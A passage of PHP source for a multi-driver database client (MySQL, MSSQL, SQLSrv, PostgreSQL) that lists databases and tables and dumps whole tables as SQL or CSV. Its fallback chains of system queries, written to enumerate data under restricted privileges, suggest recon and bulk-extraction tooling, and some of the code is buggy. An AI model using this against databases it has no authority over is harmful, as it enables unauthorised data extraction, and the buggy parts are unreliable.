                return ($v = mysql_query('SELECT COUNT(*) FROM ' . mysqlEscName($b, $t), $this->_cnct)) ? mysql_result($v, 0) : '"?"';
            }
            function getColumns($b, $t) {
                if ($a = parent::getColumns($b, $t))
                    return $a;
                $e = mysqlEscName($b, $t);
                $q = FALSE;
                if (($q = mysql_list_fields($b, $t, $this->_cnct)) || ($q = mysql_query('SELECT * FROM ' . $e . ' LIMIT 0', $this->_cnct))) {
                    if ($v = mysql_fetch_field($q)) {
                        do {
                            $s = $v->type === 'string' ? 'TEXT' : strtoupper($v->type);
                            if ($v->unsigned)
                                $s .= ' UNSIGNED';
                            if ($v->zerofill)
                                $s .= ' ZEROFILL';
                            if ($v->not_null)
                                $s .= ' NOT NULL';
                            if (isset($v->def) && $v->def !== '' && $v->def !== NULL)
                                $s .= ' DEFAULT ' . mysqlEscData($v->def);
                            if ($v->primary_key)
                                $s .= ' PRIMARY KEY';
                            elseif ($v->unique_key)
                                $s .= ' UNIQUE KEY';
                            elseif ($v->multiple_key)
                                $s .= ', KEY(' . mysqlEscName($v->name) . ')';
                            $a[$v->name] = $s;
                        } while ($v = mysql_fetch_field($q));
                        return $a;
                    }
                    if (is_string($v = mysql_field_name($q, 0))) {
                        $i = 0;
                        do {
                            if (is_string($s = mysql_field_type($q, $i)))
                                $a[$v] = $s === 'string' ? 'TEXT' : strtoupper($s);
                            if (($a[$v] === 'INT' || $a[$v] === 'REAL') && ($s = mysql_field_len($q, $i)))
                                $a[$v] .= '(' . $s . ')';
                            if (is_string($s = mysql_field_flags($q, $i))) {
                                if (strpos($s, 'unsigned') !== FALSE)
                                    $a[$v] .= ' UNSIGNED';
                                if (strpos($s, 'zerofill') !== FALSE)
                                    $a[$v] .= ' ZEROFILL';
                                if (strpos($s, 'not_null') !== FALSE)
                                    $a[$v] .= ' NOT NULL';
                                if (strpos($s, 'auto_increment') !== FALSE)
                                    $a[$v] .= ' AUTO_INCREMENT';
                                if (strpos($s, 'primary_key') !== FALSE)
                                    $a[$v] .= ' PRIMARY KEY';
                                elseif (strpos($s, 'unique_key') !== FALSE)
                                    $a[$v] .= ' UNIQUE KEY';
                                elseif (strpos($s, 'multiple_key') !== FALSE)
                                    $a[$v] .= ', KEY(' . mysqlEscName($v) . ')';
                            }
                        } while (is_string($v = mysql_field_name($q, ++$i)));
                        return $a;
                    }
                }
                if (($v = mysql_query('SELECT * FROM ' . $e . ' LIMIT 1', $this->_cnct)) && ($v = mysql_fetch_assoc($v))) {
                    foreach ($v as $k => $s)
                        $a[$k] = '';
                    return $a;
                }
                return FALSE;
            }
            function fetchAssoc() {
                return mysql_fetch_assoc($this->_res);
            }
            function fetchRow() {
                return mysql_fetch_row($this->_res);
            }
            function query($v) {
                return ($this->_res = mysql_query($v, $this->_cnct));
            }
            function dump($b, $t, $c, $f) {
                if ($f)
                    $i = $this->outCreateTable($b, $t);
                $c = sqlJoinColumns($c, 'mysqlEscName');
                if (($q = mysql_unbuffered_query('SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t), $this->_cnct)) && ($v = mysql_fetch_assoc($q))) {
                    if ($f)
                        sqlOutInsert(mysqlEscName($t), $c);
                    else
                        echo implode(';', array_keys($v)), "\n";
                    $d = FALSE;
                    do {
                        if ($d)
                            echo $d;
                        else
                            $d = $f ? ',' : "\n";
                        if ($f)
                            sqlOutValues($v, 'mysqlEscData');
                        else
                            csvOutValues($v);
                    } while ($v = mysql_fetch_row($q));
                    if ($f)
                        echo ";\n";
                    mysql_free_result($q);
                } else
                    $i .= sprintf(E_SLCTDT, $b . '.' . $t);
                return $i;
            }
            function close() {
                mysql_close($this->_cnct);
            }
        }
        class MySQLiClient extends MySQLBase {
            function connect($h, $u, $p, $b, $c) {
                if ($h !== NULL && ($v = strrpos($h, ':'))) {
                    $t = (int) substr($h, $v + 1);
                    $h = substr($h, 0, $v);
                } else
                    $t = NULL;
                if (!($this->_cnct = mysqli_connect($h, $u, $p, $b, $t)))
                    return FALSE;
                mysqli_query($this->_cnct, 'SET NAMES ' . $this->charset($c));
                return TRUE;
            }
            function getError() {
                if ($this->_cnct) {
                    $v = mysqli_error($this->_cnct);
                    mysqli_close($this->_cnct);
                    return $v;
                }
                return mysqli_connect_error();
            }
            function tryQueries($a) {
                foreach ($a as $v)
                    if ($this->_res = mysqli_query($this->_cnct, $v))
                        return TRUE;
                return FALSE;
            }
            function fetchBase() {
                return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE;
            }
            function fetchTable() {
                return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE;
            }
            function getTableSize($b, $t) {
                if ($v = mysqli_query($this->_cnct, 'SELECT COUNT(*) FROM ' . mysqlEscName($b, $t))) {
                    $v = mysqli_fetch_row($v);
                    return $v[0];
                }
                return '"?"';
            }
            function getColumns($b, $t) {
                if ($a = parent::getColumns($b, $t))
                    return $a;
                $e = mysqlEscName($b, $t);
                $q = FALSE;
                if ($q = mysqli_query($this->_cnct, 'SELECT * FROM ' . $e . ' LIMIT 1')) {
                    $y = array(
                        'DECIMAL',
                        'TINYINT',
                        'SMALLINT',
                        'INT',
                        'FLOAT',
                        'DOUBLE',
                        'NULL',
                        'TIMESTAMP',
                        'BIGINT',
                        'MEDIUMINT',
                        'DATE',
                        'TIME',
                        'DATETIME',
                        'YEAR',
                        'NEWDATE',
                        16 => 'BIT',
                        246 => 'DECIMAL',
                        247 => 'ENUM',
                        248 => 'SET',
                        249 => 'TINY',
                        250 => 'MEDIUM',
                        251 => 'LONG',
                        252 => '',
                        253 => 'VARCHAR',
                        254 => 'CHAR',
                        255 => 'GEOMETRY'
                    );
                    if (!($v = mysqli_fetch_fields($q)) && ($i = mysqli_fetch_field($q))) {
                        $v = array();
                        do {
                            $v[] = $i;
                        } while ($i = mysqli_fetch_field($q));
                    }
                    if ($v) {
                        foreach ($v as $i) {
                            if ($i->type > 248 && $i->type < 253)
                                $s = $y[$i->type] . (($i->flags & 16) ? 'BLOB' : 'TEXT');
                            else
                                $s = isset($y[$i->type]) ? $y[$i->type] : 'BLOB';
                            if ($i->flags & 32768) {
                                $s .= '(' . $i->length;
                                if ($i->decimals)
                                    $s .= ',' . $i->decimals;
                                $s .= ')';
                            }
                            if ($i->flags & 32)
                                $s .= ' UNSIGNED';
                            if ($i->flags & 64)
                                $s .= ' ZEROFILL';
                            if ($i->flags & 1)
                                $s .= ' NOT NULL';
                            if (isset($i->def) && $i->def !== '' && $i->def !== NULL)
                                $s .= ' DEFAULT ' . mysqlEscData($i->def);
                            if ($i->flags & 512)
                                $s .= ' AUTO_INCREMENT';
                            if ($i->flags & 2)
                                $s .= ' PRIMARY KEY';
                            elseif (($i->flags & 4) || ($i->flags & 65536))
                                $s .= ' UNIQUE KEY';
                            elseif (($i->flags & 8) || ($i->flags & 16384))
                                $s .= ', KEY(' . mysqlEscName($i->name) . ')';
                            $a[$i->name] = $s;
                        }
                        return $a;
                    }
                    if ($v = mysqli_fetch_assoc($q)) {
                        foreach ($v as $k => $i)
                            $a[$k] = '';
                        return $a;
                    }
                }
                return FALSE;
            }
            function fetchAssoc() {
                return mysqli_fetch_assoc($this->_res);
            }
            function fetchRow() {
                return mysqli_fetch_row($this->_res);
            }
            function query($v) {
                return ($this->_res = mysqli_query($this->_cnct, $v));
            }
            function dump($b, $t, $c, $f) {
                if ($f)
                    $i = $this->outCreateTable($b, $t);
                $c = sqlJoinColumns($c, 'mysqlEscName');
                if (($q = mysqli_query($this->_cnct, 'SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t), MYSQLI_USE_RESULT)) && ($v = mysqli_fetch_assoc($q))) {
                    if ($f)
                        sqlOutInsert(mysqlEscName($t), $c);
                    else
                        echo implode(';', array_keys($v)), "\n";
                    $d = FALSE;
                    do {
                        if ($d)
                            echo $d;
                        else
                            $d = $f ? ',' : "\n";
                        if ($f)
                            sqlOutValues($v, 'mysqlEscData');
                        else
                            csvOutValues($v);
                    } while ($v = mysqli_fetch_row($q));
                    if ($f)
                        echo ";\n";
                    mysqli_free_result($q);
                } else
                    $i .= sprintf(E_SLCTDT, $b . '.' . $t);
                return $i;
            }
            function close() {
                mysqli_close($this->_cnct);
            }
        }
        function mssqlEscData($v) {
            return "'" . str_replace("'", "''", $v) . "'";
        }
        function mssqlEscName() {
            $a = func_get_args();
            foreach ($a as $k => $v)
                $a[$k] = '[' . str_replace(']', ']]', $v) . ']';
            return implode('.', $a);
        }
        class MSSQLBase extends SQLBase {
            var $haveSchemas = TRUE, $canPaginate = TRUE, $_base = NULL;
            function getBases() {
                return $this->tryQueries(array(
                    'SELECT name FROM sys.databases',
                    'SELECT name FROM sys.sysdatabases',
                    'SELECT name FROM master.dbo.sysdatabases',
                    'EXEC sp_oledb_database',
                    'EXEC master.dbo.sp_msdbuseraccess "db"',
                    'EXEC master.sys.sp_msdbuseraccess "db"',
                    "EXEC sp_msforeachdb 'SELECT ''?'''",
                    'EXEC sp_helpdb',
                    'EXEC sp_databases',
                    'EXEC sp_oledb_defdb',
                    'SELECT DISTINCT catalog_name FROM information_schema.schemata',
                    'SELECT DB_NAME()'
                ));
            }
            function getSchemas($b) {
                return $this->tryQueries(array(
                    'SELECT NULL,schema_name FROM information_schema.schemata',
                    'SELECT NULL,name FROM sys.schemas',
                    'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.all_objects',
                    'EXEC sp_schemata_rowset',
                    'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.objects',
                    'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.tables',
                    "SELECT NULL,name FROM sys.database_principals WHERE type='S'"
                ));
            }
            function getTables($b, $s) {
                $s = mssqlEscData($s);
                if ($this->query('SELECT SCHEMA_ID(' . $s . ')') && ($v = $this->fetchRow()) && $v[0]) {
                    $sr = 'schema_id=' . $v[0];
                    $ur = 'uid=' . $v[0];
                } else {
                    $sr = 'SCHEMA_NAME(schema_id)=' . $s;
                    $ur = 'SCHEMA_NAME(uid)=' . $s;
                }
                return $this->tryQueries(array(
                    "SELECT name FROM sys.all_objects WHERE type IN('U','S','V') AND " . $sr,
                    'EXEC sp_tables @table_owner=' . $s,
                    "SELECT name FROM sys.objects WHERE type IN('U','S','V') AND " . $sr,
                    "SELECT name FROM sysobjects WHERE xtype IN('U','S','V') AND " . $ur,
                    'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $s,
                    'SELECT name FROM sys.tables WHERE ' . $sr,
                    "EXEC sp_msforeachtable 'SELECT PARSENAME(''?'',1)', @whereand='AND " . str_replace("'", "''", $sr) . "'"
                ));
            }
            function getColumns($b, $s, $t) {
                $a    = array();
                $sd   = mssqlEscData($s);
                $sn   = mssqlEscName($s);
                $td   = mssqlEscData($t);
                $tn   = mssqlEscName($t);
                $stdn = mssqlEscData($sn . '.' . $tn);
                if ($this->query('EXEC sp_columns ' . $td . ',' . $sd) && $v = $this->fetchRow()) {
                    do {
                        $v[5] = strtoupper($v[5]);
                        if ($v[10] === 0)
                            $v[5] .= ' NOT NULL';
                        if ($v[12] !== NULL)
                            $v[5] .= ' DEFAULT' . $v[12];
                        $a[$v[3]] = $v[5];
                    } while ($v = $this->fetchRow());
                    return $a;
                }
                if ($this->query('EXEC sp_help ' . $stdn) && $this->nextResult() && ($v = $this->fetchRow())) {
                    do {
                        $v[1] = strtoupper($v[1]);
                        if ($v[6] === 'no')
                            $v[1] .= ' NOT NULL';
                        $a[$v[0]] = $v[1];
                    } while ($v = $this->fetchRow());
                    return $a;
                }
                if ($this->query('EXEC sp_mshelpcolumns ' . $stdn) && $v = $this->fetchRow()) {
                    do {
                        $v[6] = strtoupper($v[6]);
                        if ($v[9] === 0)
                            $v[6] .= ' NOT NULL';
                        if ($v[17] !== NULL)
                            $v[6] .= ' DEFAULT' . $v[17];
                        $a[$v[0]] = $v[6];
                    } while ($v = $this->fetchRow());
                    return $a;
                }
                if ($this->query('SELECT column_name,data_type,is_nullable,column_default FROM information_schema.columns WHERE table_name=' . $td . ' AND table_schema=' . $sd) && $v = $this->fetchRow()) {
                    do {
                        $v[1] = strtoupper($v[1]);
                        if ($v[2] === 'NO')
                            $v[1] .= ' NOT NULL';
                        if ($v[3] !== NULL)
                            $v[1] .= ' DEFAULT' . $v[3];
                        $a[$v[0]] = $v[1];
                    } while ($v = $this->fetchRow());
                    return $a;
                }
                if ($this->query('EXEC sp_columns_managed @owner=' . $sd . ', @table=' . $td) && $v = $this->fetchRow()) {
                    do {
                        $v[7] = strtoupper($v[7]);
                        if ($v[6] === 'NO')
                            $v[7] .= ' NOT NULL';
                        if ($v[5] !== NULL)
                            $v[7] .= ' DEFAULT' . $v[5];
                        $a[$v[3]] = $v[7];
                    } while ($v = $this->fetchRow());
                    return $a;
                }
                if ($this->query('SELECT OBJECT_ID(' . $stdn . ')') && $v = $this->fetchRow()) {
                    $r = 'object_id=' . $v[0];
                    $i = 'id=' . $v[0];
                } else {
                    $r = 'OBJECT_SCHEMA_NAME(object_id)=' . $sd . ' AND OBJECT_NAME(object_id)=' . $td;
                    $i = 'OBJECT_SCHEMA_NAME(id)=' . $sd . ' AND OBJECT_NAME(id)=' . $td;
                }
                if ($this->tryQueries(array(
                    'SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.all_columns WHERE ' . $r,
                    'SELECT name,TYPE_NAME(xtype),isnullable FROM syscolumns WHERE ' . $i,
                    'SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.columns WHERE ' . $r
                ))) {
                    while ($v = $this->fetchRow()) {
                        $v[1] = strtoupper($v[1]);
                        if ($v[2] === 0)
                            $v[1] .= ' NOT NULL';
                        $a[$v[0]] = $v[1];
                    }
                    return $a;
                }
                if ($this->query('EXEC sp_columns_rowset ' . $td . ',' . $sd) && $v = $this->fetchRow()) {
                    do {
                        $v[11] = 'BINARY';
                        if ($v[10] === 0)
                            $v[11] .= ' NOT NULL';
                        if ($v[8] !== NULL)
                            $v[11] .= ' DEFAULT' . $v[8];
                        $a[$v[3]] = $v[11];
                    } while ($v = $this->fetchRow());
                    return $a;
                }
                return FALSE;
            }
        }
        class MSSQLClient extends MSSQLBase {
            function connect($h, $u, $p, $b, $c) {
                if (!($this->_cnct = mssql_connect($h, $u, $p)))
                    return FALSE;
                return $this->setBase($b);
            }
            function getError() {
                $v = mssql_get_last_message();
                if ($this->_cnct)
                    mssql_close($this->_cnct);
                return $v;
            }
            function tryQueries($a) {
                foreach ($a as $v)
                    if ($this->_res = mssql_query($v, $this->_cnct))
                        return TRUE;
                return FALSE;
            }
            function fetchBase() {
                if (($v = mssql_fetch_row($this->_res)) || (mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res))))
                    return $v[0];
                return FALSE;
            }
            function fetchSchema() {
                return ($v = mssql_fetch_row($this->_res)) ? $v[1] : FALSE;
            }
            function fetchTable() {
                if (($v = mssql_fetch_row($this->_res)) || (mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res))))
                    return count($v) === 1 ? $v[0] : $v[2];
                return FALSE;
            }
            function getTableSize($b, $s, $t) {
                return ($v = mssql_query('SELECT COUNT(*) FROM ' . mssqlEscName($b, $s, $t), $this->_cnct)) ? mssql_result($v, 0, 0) : '"?"';
            }
            function setBase($v) {
                if ($v !== $this->_base) {
                    $this->_base = NULL;
                    if (!mssql_select_db(mssqlEscName($v), $this->_cnct) && !mssql_query('USE ' . mssqlEscName($v), $this->_cnct))
                        return FALSE;
                    $this->_base = $v;
                }
                return TRUE;
            }
            function getColumns($b, $s, $t) {
                if ($a = parent::getColumns($b, $s, $t))
                    return $a;
                $a = array();
                if ($q = mssql_query('SELECT TOP 1 * FROM ' . mssqlEscName($b, $s, $t), $this->_cnct)) {
                    if ($v = mssql_fetch_field($q)) {
                        do {
                            $a[$v->name] = strtoupper($v->type);
                        } while ($v = mssql_fetch_field($q));
                        return $a;
                    }
                    if (is_string($v = mssql_field_name($q, 0))) {
                        $i = 0;
                        do {
                            $a[$v] = is_string($s = mssql_field_type($q, $i)) ? strtoupper($s) : '';
                        } while (is_string($v = mssql_field_name($q, ++$i)));
                        return $a;
                    }
                    if ($v = mssql_fetch_array($q, MSSQL_ASSOC)) {
                        foreach ($v as $k => $i)
                            $a[$k] = '';
                        return $a;
                    }
                }
                return FALSE;
            }
            function select($b, $s, $t, $c, $o, $l) {
                $v = $l < 1000 ? 1000 : $l;
                if (!($this->_res = mssql_query('SELECT TOP ' . ($o + $l) . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($b, $s, $t), $this->_cnct, $v)))
                    return FALSE;
                $k = floor($o / $v);
                for ($i = 0; $i < $k; ++$i)
                    if (!mssql_fetch_batch($this->_res))
                        return FALSE;
                $k = $o - ($k * $v);
                if ($k > 0 && !mssql_data_seek($this->_res, $k))
                    return FALSE;
                return TRUE;
            }
            function fetchAssoc() {
                return mssql_fetch_array($this->_res, MSSQL_ASSOC);
            }
            function fetchRow() {
                if (($v = mssql_fetch_row($this->_res)) || (mssql_fetch_batch($this->_res) && ($v = mssql_fetch_row($this->_res))))
                    return $v;
                return FALSE;
            }
            function nextResult() {
                return mssql_next_result($this->_res);
            }
            function query($v) {
                return ($this->_res = mssql_query($v, $this->_cnct));
            }
            function dump($b, $s, $t, $c, $f) {
                if (!$this->setBase($b))
                    return sprintf(E_CHNGDB, $b, $s, $t);
                $i = '';
                if ($f) {
                    if ($v = $this->getColumns($b, $s, $t))
                        sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName');
                    else
                        $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
                }
                $c = sqlJoinColumns($c, 'mssqlEscName');
                if (($q = mssql_query('SELECT ' . $c . ' FROM ' . mssqlEscName($b, $s, $t), $this->_cnct, 1000)) && ($v = mssql_fetch_array($q, MSSQL_ASSOC))) {
                    if ($f)
                        sqlOutInsert(mssqlEscName($t), $c);
                    else
                        echo implode(';', array_keys($v)), "\n";
                    $d = FALSE;
                    do {
                        do {
                            if ($d)
                                echo $d;
                            else
                                $d = $f ? ',' : "\n";
                            if ($f)
                                sqlOutValues($v, 'mssqlEscData');
                            else
                                csvOutValues($v);
                        } while ($v = mssql_fetch_row($q));
                    } while (mssql_fetch_batch($q));
                    if ($f)
                        echo ";\n";
                    mssql_free_result($q);
                } else
                    $i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
                return $i;
            }
            function close() {
                mssql_close($this->_cnct);
            }
        }
        class SQLSrvClient extends MSSQLBase {
            function connect($h, $u, $p, $b, $c) {
                $this->_base = $b;
                $a           = array();
                if ($u !== NULL)
                    $a['UID'] = $u;
                if ($p !== NULL)
                    $a['PWD'] = $p;
                if ($b !== NULL)
                    $a['Database'] = $b;
                return ($this->_cnct = sqlsrv_connect($h, $a));
            }
            function getError() {
                $v = sqlsrv_errors();
                if ($this->_cnct)
                    sqlsrv_close($this->_cnct);
                return $v ? $v[0]['message'] : '';
            }
            function tryQueries($a) {
                foreach ($a as $v)
                    if ($this->_res = sqlsrv_query($this->_cnct, $v))
                        return TRUE;
                return FALSE;
            }
            function fetchBase() {
                return (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || (sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)))) ? $v[0] : FALSE;
            }
            function fetchSchema() {
                return ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) ? $v[1] : FALSE;
            }
            function fetchTable() {
                if (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || (sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC))))
                    return count($v) === 1 ? $v[0] : $v[2];
                return FALSE;
            }
            function getTableSize($b, $s, $t) {
                return (($v = sqlsrv_query($this->_cnct, 'SELECT COUNT(*) FROM ' . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($v, SQLSRV_FETCH_NUMERIC))) ? $v[0] : '"?"';
            }
            function getColumns($b, $s, $t) {
                if ($a = parent::getColumns($b, $s, $t))
                    return $a;
                $a = array();
                if ($q = sqlsrv_query($this->_cnct, 'SELECT TOP 1 * FROM ' . mssqlEscName($b, $s, $t))) {
                    if ($v = sqlsrv_field_metadata($q)) {
                        $y = array(
                            1 => 'CHAR',
                            2 => 'NUMERIC',
                            3 => 'DECIMAL',
                            4 => 'INT',
                            5 => 'SMALLINT',
                            6 => 'FLOAT',
                            7 => 'REAL',
                            12 => 'VARCHAR',
                            91 => 'DATE',
                            93 => 'DATETIME',
                            -1 => 'TEXT',
                            -2 => 'BINARY',
                            -3 => 'VARBINARY',
                            -4 => 'IMAGE',
                            -5 => 'BIGINT',
                            -6 => 'TINYINT',
                            -7 => 'BIT',
                            -8 => 'NCHAR',
                            -9 => 'NVARCHAR',
                            -10 => 'NTEXT',
                            -11 => 'UNIQUEIDENTIFIER',
                            -151 => 'UDT',
                            -152 => 'XML',
                            -154 => 'TIME',
                            -155 => 'DATETIMEOFFSET'
                        );
                        foreach ($v as $i) {
                            $i['Type'] = isset($y['Type']) ? $y['Type'] : 'BINARY';
                            if ($i['Nullable'] === SQLSRV_NULLABLE_NO)
                                $i['Type'] .= ' NOT NULL';
                            $a[$i['Name']] = $i['Type'];
                        }
                        return $a;
                    }
                    if ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC)) {
                        foreach ($v as $k => $i)
                            $a[$k] = '';
                        return $a;
                    }
                }
                return FALSE;
            }
            function select($b, $s, $t, $c, $o, $l) {
                return (($this->_res = sqlsrv_query($this->_cnct, 'SELECT TOP ' . ($o + $l) . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($b, $s, $t), array(), array(
                    'Scrollable' => SQLSRV_CURSOR_DYNAMIC
                ))) && sqlsrv_fetch($this->_res, SQLSRV_SCROLL_ABSOLUTE, $o));
            }
            function fetchAssoc() {
                return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_ASSOC);
            }
            function fetchRow() {
                return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC);
            }
            function nextResult() {
                return sqlsrv_next_result($this->_res);
            }
            function query($v) {
                return ($this->_res = sqlsrv_query($this->_cnct, $v));
            }
            function setBase($v) {
                if ($v !== $this->_base) {
                    $this->_base = NULL;
                    if (!sqlsrv_query($this->_cnct, 'USE ' . mssqlEscName($b)))
                        return FALSE;
                    $this->_base = $v;
                }
                return TRUE;
            }
            function dump($b, $s, $t, $c, $f) {
                if (!$this->setBase($b))
                    return sprintf(E_CHNGDB, $b, $s, $t);
                $i = '';
                if ($f) {
                    if ($v = $this->getColumns($b, $s, $t))
                        sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName');
                    else
                        $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
                }
                $c = sqlJoinColumns($c, 'mssqlEscName');
                if (($q = sqlsrv_query($this->_cnct, 'SELECT ' . $c . ' FROM ' . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC))) {
                    if ($f)
                        sqlOutInsert(mssqlEscName($t), $c);
                    else
                        echo implode(';', array_keys($v)), "\n";
                    $d = FALSE;
                    do {
                        if ($d)
                            echo $d;
                        else
                            $d = $f ? ',' : "\n";
                        if ($f)
                            sqlOutValues($v, 'mssqlEscData');
                        else
                            csvOutValues($v);
                    } while ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_NUMERIC));
                    if ($f)
                        echo ";\n";
                    sqlsrv_free_stmt($q);
                } else
                    $i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
                return $i;
            }
            function close() {
                sqlsrv_close($this->_cnct);
            }
        }
        function pgsqlEscData($v) {
            return "'" . str_replace(array(
                '\\',
                "'"
            ), array(
                '\\\\',
                "''"
            ), $v) . "'";
        }
        function pgsqlEscName() {
            $a = func_get_args();
            foreach ($a as $k => $v)
                $a[$k] = '"' . str_replace('"', '""', $v) . '"';
            return implode('.', $a);
        }
        class PGSQLBase extends SQLBase {
            var $haveSchemas = TRUE, $canPaginate = FALSE, $_params = '', $_base = NULL, $_clcs = NULL;
            function fillParams($h, $u, $p) {
                $v = array();
                if ($h !== NULL) {
                    if ($i = strrpos($h, ':')) {
                        $v[] = 'host=' . $this->escParam(substr($h, 0, $i));
                        $v[] = 'port=' . substr($h, $i + 1);
                    } else
                        $v[] = 'host=' . $this->escParam($h);
                }
                if ($u !== NULL)
                    $v[] = 'user=' . $this->escParam($u);
                if ($p !== NULL)
                    $v[] = 'password=' . $this->escParam($p);
                $this->_params = implode(' ', $v);
            }
            function charset($k) {
                $v = array(
                    'UTF8',
                    'UTF8',
                    'WIN1250',
                    'WIN1251',
                    'WIN1252',
                    'WIN1254',
                    'WIN1256',
                    'WIN1257',
                    'LATIN1',
                    'LATIN2',
                    'ISO_8859_7',
                    'ISO_8859_8',
                    'LATIN5',
                    'LATIN7',
                    'BIG5',
                    'GBK',
                    'SJIS',
                    'EUC_KR',
                    'EUC_JP',
                    'WIN866',
                    'KOI8R',
                    'KOI8U'
                );
                return isset($v[$k]) ? $v[$k] : 'utf8';
            }
            function escParam($v) {
                return "'" . addcslashes($v, "'\\") . "'";
            }
            function getBases() {
                return $this->tryQueries(array(
                    'SELECT datname FROM pg_catalog.pg_database WHERE NOT datistemplate',
                    'SELECT datname FROM pg_catalog.pg_stat_database',
                    'SELECT datname FROM pg_catalog.pg_stat_database_conflicts',
                    'SELECT current_database()'
                ));
            }
            function getSchemas($b) {
                if (!$this->setBase($b))
                    return FALSE;
                return $this->tryQueries(array(
                    'SELECT schema_name FROM information_schema.schemata',
                    'SELECT nspname FROM pg_catalog.pg_namespace',
                    'SELECT DISTINCT table_schema FROM information_schema.tables',
                    'SELECT DISTINCT schemaname FROM pg_catalog.pg_tables',
                    'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_all_tables',
                    'SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_all_tables',
                    'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_sys_tables',
                    'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_sys_tables',
                    'SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_sys_tables',
                    'SELECT DISTINCT table_schema FROM information_schema.columns',
                    'SELECT DISTINCT schemaname FROM pg_catalog.pg_stats'
                ));
            }
            function getTables($b, $s) {
                if (!$this->setBase($b))
                    return FALSE;
                $s = pgsqlEscData($s);
                return $this->tryQueries(array(
                    'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $s,
                    'SELECT relname FROM pg_catalog.pg_stat_all_tables WHERE schemaname=' . $s,
                    'SELECT relname FROM pg_catalog.pg_statio_all_tables WHERE schemaname=' . $s,
                    'SELECT relname FROM pg_catalog.pg_stat_xact_all_tables WHERE schemaname=' . $s,
                    'SELECT tablename FROM pg_catalog.pg_tables WHERE schemaname=' . $s,
                    'SELECT relname FROM pg_catalog.pg_stat_sys_tables WHERE schemaname=' . $s,
                    'SELECT relname FROM pg_catalog.pg_stat_user_tables WHERE schemaname=' . $s,
                    'SELECT relname FROM pg_catalog.pg_statio_sys_tables WHERE schemaname=' . $s,
                    'SELECT relname FROM pg_catalog.pg_statio_user_tables WHERE schemaname=' . $s,
                    'SELECT relname FROM pg_catalog.pg_stat_xact_sys_tables WHERE schemaname=' . $s,
                    'SELECT relname FROM pg_catalog.pg_stat_xact_user_tables WHERE schemaname=' . $s
                ));
            }
            function getColumns($b, $s, $t) {
                $a = array();
                if ($this->tryQueries(array(
                    'SELECT column_name,udt_name,is_nullable,column_default FROM information_schema.columns WHERE table_name=' . pgsqlEscData($t) . ' AND table_schema=' . pgsqlEscData($s),
                    'SELECT a.attname, FORMAT_TYPE(a.atttypid,a.atttypmod), a.attnotnull, d.adsrc FROM pg_attribute a LEFT JOIN pg_attrdef d ON d.adrelid=a.attrelid AND d.adnum=a.attnum WHERE attrelid = ' . pgsqlEscData(pgsqlEscName($s, $t)) . '::regclass AND attnum>0 AND NOT attisdropped'
                ))) {
                    while ($v = $this->fetchRow()) {
                        $v[1] = strtoupper($v[1]);
                        if ($v[2][0] === 'N' || $v[2][0] === 'f')
                            $v[1] .= ' NOT NULL';
                        if ($v[3] !== NULL)
                            $v[1] .= ' DEFAULT ' . pgsqlEscData($v[3]);
                        $a[$v[0]] = $v[1];
                    }
                    return $a;
                }
                return FALSE;
            }
            function select($b, $s, $t, $c, $o, $l) {
                return $this->query('SELECT ' . sqlJoinColumns($c, 'pgsqlEscName') . ' FROM ' . pgsqlEscName($s, $t) . ' LIMIT ' . $l);
            }
        }
        class PGSQLClient extends PGSQLBase {
            function connect($h, $u, $p, $b, $c) {
                $this->_base = $b;
                $this->_clcs = $c;
                $this->fillParams($h, $u, $p);
                $v = $this->_params;
                if ($b !== NULL)
                    $v .= ' dbname=' . $this->escParam($b);
                $this->_cnct = pg_connect($v);
                if (!$this->_cnct && $b === NULL)
                    $this->_cnct = pg_connect($this->_params . ' dbname=template1');
                if (!$this->_cnct)
                    return FALSE;
                pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($c) . "'");
                return TRUE;
            }
            function getError() {
                if ($this->_cnct) {
                    $v = (PHP_VERSION >= '4.2') ? pg_last_error($this->_cnct) : pg_errormessage($this->_cnct);
                    pg_close($this->_cnct);
                    return $v;
                }
                return '';
            }
            function tryQueries($a) {
